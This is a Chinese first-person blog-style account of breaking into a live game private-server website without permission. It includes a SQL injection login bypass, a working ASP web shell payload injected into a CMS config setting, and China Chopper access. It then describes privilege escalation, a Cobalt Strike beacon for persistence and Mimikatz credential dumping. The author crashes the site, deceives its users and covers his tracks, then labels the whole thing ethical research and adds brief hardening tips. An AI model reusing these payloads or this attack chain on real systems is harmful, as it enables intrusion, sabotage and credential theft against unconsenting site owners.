1. 游戏私服宣传站的发现与初步探测
那天晚上闲着没事干,我决定找点乐子。作为一名安全爱好者,我习惯性地打开了fofa这个网络空间测绘引擎,想找几个网站练练手。输入几个关键词后,一个游戏私服的宣传网站引起了我的注意。这个页面看起来特别眼熟,跟我之前搞过的一个站简直是一个模子刻出来的。
这种私服宣传站通常都很简单,就是一些游戏截图、下载链接和充值入口。我随手在地址栏后面加了个"/admin",没想到直接跳转到了后台登录页面。这种运气简直像是中彩票一样,毕竟大多数网站至少会做个访问控制。仔细一看,这个后台界面明显是ASPcms的,而且版本还挺老。
这里有个小技巧要分享:很多CMS系统都有默认的后台路径,比如/admin、/manage、/backend这些。虽然现在很多网站会修改默认路径,但对于一些私服这种不太注重安全的站点,往往还是使用默认配置。我后来查了一下,这个版本的ASPcms在网上的漏洞分析文章还真不少。
2. ASPcms后台漏洞的深入利用
2.1 未授权访问与SQL注入漏洞
登录页面是有了,但没账号密码怎么办?这就是这个ASPcms版本的有趣之处了。它有个文件没有做权限验证,任何人都可以直接访问。更妙的是,这个文件对获取的参数没有进行严格过滤,导致存在SQL注入漏洞。
具体来说,这个漏洞存在于后台的某个功能文件中。攻击者可以通过构造特殊的SQL语句,直接获取管理员账号和密码。不过这里有个前提条件:你得知道后台的具体目录结构。这也是为什么很多攻击者会先进行目录扫描,收集尽可能多的路径信息。
我用了最经典的万能密码方式尝试注入:在用户名处输入' or 1=1 --,密码随便填。没想到一次就成功了,直接进入了后台管理界面。这种漏洞在现在的网站中已经很少见了,但在一些老旧的CMS系统中还是时有发现。
2.2 后台功能分析与限制突破
进入后台后,我仔细查看了各个功能模块。常见的上传点都试了一遍,发现都被严格限制了。ASPcms在新版本中已经修复了通过添加模板直接上传ASP文件的问题,现在只能上传html、js、css这些静态文件。
这里有个知识点:如果是IIS6的环境,还可以利用其解析漏洞,把文件名改成类似"1.asp;.html"这样的格式来绕过限制。但很不巧,这个服务器用的是IIS7.5,这个方法就行不通了。
不过天无绝人之路,我记得之前看过一篇技术文章,提到可以通过修改配置文件来注入代码。具体操作是:进入后台的"扩展功能"-"幻灯片设置"-"幻灯样式",然后使用浏览器的开发者工具,修改slidestyle的value值为特定的恶意代码。
3. 文件上传与Getshell实战
3.1 配置文件注入技巧
按照记忆中的方法,我把slidestyle的值修改为:
1%><%Eval(Request(chr(65)))%><%这段代码的作用是创建一个webshell,可以通过请求参数来执行任意命令。理论上,修改保存后,就可以用中国菜刀这类工具连接/config/AspCms_Config.asp这个配置文件,密码设为"a"就能getshell了。
但实际操作时我犯了个低级错误:手抖输错了代码,导致服务器配置文件出错,返回了500错误。这下尴尬了,网站直接挂了。我赶紧加了他们的游戏群,想看看管理员什么时候会修复。
3.2 二次尝试与成功getshell
第二天起床一看,群里已经炸锅了,很多玩家都在抱怨网站打不开。我也假装普通玩家跟着吐槽了几句,心里默念着对不起。下午回家后发现网站已经恢复了,看来管理员效率还挺高。
这次我格外小心,一个字母一个字母地核对代码,终于成功用菜刀连接上了。执行whoami命令查看当前权限,发现只是个普通用户权限,看来还需要进一步提权。
4. 权限提升与持久化控制
4.1 系统环境分析与提权准备
先用tasklist命令查看了服务器上运行的进程,幸运的是没有杀毒软件,只有一些游戏管理工具和常规服务。这种环境简直就是提权的天堂。
朋友建议可以直接用"土豆"提权工具。这个工具利用了Windows系统中的某些漏洞,可以把普通用户权限提升到system。上传工具后执行,再次用whoami查看,果然已经是system权限了。
4.2 建立持久化访问通道
为了维持访问权限,我决定在服务器上部署Cobalt Strike的beacon。先在本地开启CS服务,配置好监听器,然后生成一个payload上传到服务器,用刚才获取的system权限执行。
成功上线后,使用Mimikatz工具读取了服务器的登录密码。这样即使之后漏洞被修复,我仍然可以通过RDP等方式登录服务器。当然,作为一个有道德的安全研究者,我只是截了个图作为证明,然后清理了所有操作痕迹就退出了。
5. 漏洞链分析与安全建议
这次渗透测试展示了一个完整的攻击链条:从发现目标、利用未授权访问漏洞进入后台、通过SQL注入获取凭证、利用配置文件修改getshell,到最后提权建立持久化控制。每个环节都利用了系统不同的弱点,形成了完整的攻击路径。
对于使用这类老旧CMS的网站管理员,我有几个实用建议:
- 及时更新CMS系统到最新版本
- 修改默认的后台路径和管理员账号
- 对上传功能进行严格限制,最好使用白名单机制
- 定期检查服务器上的可疑进程和账户
- 考虑部署专业的安全防护设备
这种案例也提醒我们,网络安全是一个整体,任何一个环节的疏忽都可能导致整个系统沦陷。特别是在游戏私服这种不太注重安全的场景下,使用老旧CMS系统简直就是给攻击者送大礼。